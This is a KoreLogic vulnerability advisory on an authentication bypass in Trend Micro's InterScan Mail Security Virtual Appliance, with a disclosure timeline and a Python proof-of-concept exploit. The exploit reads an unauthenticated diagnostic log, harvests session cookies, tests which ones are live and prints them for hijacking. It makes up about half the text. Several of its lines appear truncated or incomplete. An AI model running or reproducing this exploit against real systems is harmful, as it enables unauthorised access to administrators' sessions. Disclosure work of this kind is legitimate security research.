Trend Micro IMSVA Management Portal Authentication Bypass

Trend Micro IMSVA Management Portal version suffers from an authentication bypass vulnerability.

MD5 | d82d45e882b2eb1faa1bb688364f31a9

KL-001-2018-006 : Trend Micro IMSVA Management Portal Authentication Bypass

Title: Trend Micro IMSVA Management Portal Authentication Bypass
Advisory ID: KL-001-2018-006
Publication Date: 2018.02.08
Publication URL:

1. Vulnerability Details

Affected Vendor: Trend Micro
Affected Product: InterScan Mail Security Virtual Apppliance
Affected Version:
Platform: Embedded Linux
CWE Classification: CWE-522: Insufficiently Protected Credentials, CWE-219: Sensitive Data Under Web Root
Impact: Authentication Bypass
Attack vector: HTTPS

2. Vulnerability Description

Any unauthenticated user can bypass the authentication process.

3. Technical Description

The web application is plugin-based and allows widgets to
be loaded into the application. A plugin which is loaded by
default stores a log file of events in a directory which can be
accessed by unauthenticated users. Files within this directory
(such as /widget/repository/log/diagnostic.log) which contain
cookie values can then be read, parsed, and session information
extracted. A functional exploit is shown below.

4. Mitigation and Remediation Recommendation

Trend Micro has released a Critical Patch update to the
affected versions for this vulnerability. The advisory and
links to the patch(es) are available from the following URL:

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.08.11 - KoreLogic submits vulnerability details to Trend Micro.
2017.08.11 - Trend Micro confirms receipt.
2017.09.15 - KoreLogic asks for an update on the triage of the
reported issue.
2017.09.15 - Trend Micro informs KoreLogic that the issue is in
remediation but there is no expected release date yet.
2017.09.25 - 30 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.10.06 - Trend Micro informs KoreLogic that the issue will not
be addressed before the 45 business-day deadline. They
ask for additional time for the details to remain
embargoed in order to complete QA on the proposed fix.
2017.10.06 - KoreLogic agrees to extend the disclosure timeline.
2017.10.17 - 45 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.11.02 - Trend Micro notifies KoreLogic that the Critical Patch
for IMSVA 9.1 (Critical Patch 1682) has gone live,
but they are still working on the patch for IMSVA 9.0.
2017.11.07 - 60 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.12.21 - 90 business days have elapsed since the vulnerability
was reported to Trend Micro.
2017.12.28 - Trend Micro notifies KoreLogic that the IMSVA 9.0
Critical Patch is being localized for foreign language
customers. Expected release date is late January 2018.
2018.01.18 - Trend Micro notifies KoreLogic that the expected release
date for the IMSVA 9.0 Critical Patch and the advisory
is to be January 31, 2018.
2018.01.23 - 110 business days have elapsed since the vulnerability
was reported to Trend Micro.
2018.01.31 - Trend Micro releases the advisory associated with this
vulnerability and the related Critical Patches.
2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept


from argparse import ArgumentParser
from ssl import _create_unverified_context
from time import mktime
from urllib.request import HTTPSHandler, HTTPError, Request, urlopen, build_opener

banner = '''Trendmicro IMSVA Management Portal Authentication Bypass

class Exploit:
def __init__(self, args):
self.target_host =
self.target_port = args.port
self.list_all =
self.sessions = []
self.session_latest_time = None
self.session_latest_id = None
self.sessions_active = []
return None

def is_target(self):
url_loginpage = Request('https://{}:{}/loginPage.imss'.format(self.target_host, self.target_port))
url_loginjsp = Request('https://{}:{}/jsp/framework/login.jsp'.format(self.target_host, self.target_port))
if urlopen(url_loginpage, context=_create_unverified_context()).getcode() == 200:
urlopen(url_loginjsp, context=_create_unverified_context())
except HTTPError as e:
if e.code == 403:
return True
return False
return False

def get_sessions(self):
url_vulnpage = Request('https://{}:{}/widget/repository/log/diagnostic.log'.format(self.target_host,
vuln_obj = urlopen(url_vulnpage, context=_create_unverified_context())
if vuln_obj.getcode() == 200:
vuln_pagedata =
for line in vuln_pagedata.decode('utf8').split('\n'):
if 'product_auth' in line and 'JSEEEIONID' in line:
self.sessions.append((line.split(',')[0], line.split(',')[-1].split(' ')[1].split(':')[1]))
return False
return True

def find_latest(self):
for session in list(set(self.sessions)):
year, month, day = session[0].split(' ')[0].split('-')
hour, minute, second = session[0].split(' ')[1].split(':')
session_time = mktime((int(year), int(month), int(day), int(hour), int(minute), int(second), 0, 0, 0))
if self.session_latest_time is None:
self.session_latest_time = session_time
if session_time > self.session_latest_time:
self.session_latest_time = session_time
self.session_latest_id = session[1]
if self.list_all:
if self.is_session_alive():
self.sessions_active.append((self.session_latest_time, self.session_latest_id))
return True

def is_session_alive(self):
url_consolepage = Request('https://{}:{}/console.imss'.format(self.target_host, self.target_port))
opener = build_opener(HTTPSHandler(context=_create_unverified_context()))
opener.addheaders.append(('Cookie', 'JSESSIONID={}'.format(self.session_latest_id)))
console_obj =
if console_obj.getcode() == 200:
console_pagedata ='utf8')
if 'parent.location.href="/timeout.imss"' in console_pagedata:
return False
return False
return True

def run(self):
if self.is_target():
if self.get_sessions():
print('[-] Leaked {} sessions'.format(len(self.sessions)))
if self.list_all and self.sessions_active:
print('[+] Active sessions leaked.')
sessions = []
for entry in list(set(self.sessions_active)):
for session in list(set(sessions)):
print('Set-Cookie: JSESSIONID={}'.format(session))
elif self.is_session_alive():
print('[+] Active session leaked.')
print('Set-Cookie: JSESSIONID={}'.format(self.session_latest_id))
return True
print('[-] {} sessions leaked but none are active.'.format(len(self.sessions)))
return False
return False
return False
return False

if __name__ == '__main__':
arg_parser = ArgumentParser(add_help=False)
arg_parser.add_argument('-H', '--help', action='help', help='Help')
arg_parser.add_argument('-h', '--host', default=None, required=True, help='Target host')
arg_parser.add_argument('-p', '--port', default=8445, type=int, help='Target port')
arg_parser.add_argument('-l', '--ls', action='store_true', default=False, help='List all sessions (noisy)')

args = arg_parser.parse_args()


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.

Our public vulnerability disclosure policy is available at:

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